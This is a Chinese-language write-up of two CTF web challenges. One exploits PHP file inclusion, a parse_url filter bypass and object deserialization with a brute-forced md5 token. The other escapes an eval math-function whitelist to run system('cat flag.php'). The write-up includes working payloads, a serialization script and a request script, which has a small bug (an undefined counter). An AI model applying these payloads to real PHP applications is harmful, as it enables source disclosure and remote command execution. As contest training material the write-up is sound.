总的来说 题目质量还是可以的

第一天

JustSoSo

一道php文件读取+反序列化利用

文件代码如下

index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

简单分析下,页面打开后没有加任何参数会显示Missing parameterMissing parameters,注释中提示index.php?file=xxx.php,推测文件包含,尝试用伪协议读文件php://filter/read=convert.base64-encode/resource=index.php就得到上面index.php的代码,然后再php://filter/read=convert.base64-encode/resource=hint.php获取hint.php的代码,

down下后进行审计

index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"]; //GET获取file参数
$payload = $_GET["payload"]; //GET获取payload参数
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file); //包含文件
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query); //此处将参数进行分割成数组,赋值给$query,但是该函数有个缺陷,可被形如url.com///index.php绕过
foreach($query as $value){
if (preg_match("/flag/",$value)) { //遍历匹配 检测flag,匹配到就显示stop hacking
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload); //反序列化
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag(); //handle成员销毁时调用getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000)); //token和token_flag为随机数1~10000后的md5值
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000)); //token_flag重新赋值为随机数1~10000后的md5值
if($this->token === $this->token_flag) //判断是否相等
{
if(isset($this->file)){ //相等则显示指定文件的源代码
echo @highlight_file($this->file,true);
}
}
}
}
?>

确定获取flag的几个点

  1. 利用反序列化
  2. flag文件名为flag.php
  3. token_flag可碰撞

序列化构造脚本

<?php
class Handle{
public $handle;
}

class Flag{
public $file = 'flag.php';
public $token=md5(rand(1,10000));
public $token_flag;
}

$p = new Handle();
$p->handle = new Flag();
$str = serialize($p);

print $str;
?>

拼接下Payload:///index.php?file=hint.php&payload=O:6:\"Handle\":2:{s:14:\"%00Handle%00handle\";O:4:\"Flag\":2:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";s:32:\"8466a2b43729c29dcd7cc0fdfa1a9e7a\";}}

最后写个python脚本即可

import requests
res = requests.get( "http://b47b37b1376f433698223cebd99a67579958251b431a4301.changame.ichunqiu.com///index.php?file=hint.php&payload=O:6:\"Handle\":2:{s:14:\"%00Handle%00handle\";O:4:\"Flag\":2:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";s:32:\"8466a2b43729c29dcd7cc0fdfa1a9e7a\";}}")
print("times:" + str(num_times) + "\n" + res.text)

吐槽下今年的docker环境,时不时假死,撞了500多次撞出来flag了

第二天

计算器

依旧是个代码审计+构造

后端代码:

简单审计下

<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) { //限制80个传入字符
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) { //过滤'、"、[、]、`、空格、制表符、换行符
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) { //检测传入值是否不在这个白名单内
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';'); //执行传入值
}

查了所有的函数,能把数字转为字符串的函数为dechexbase_convert,然后构造了一天的命令执行,最后差了一步,直接放payload:$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat%20flag.php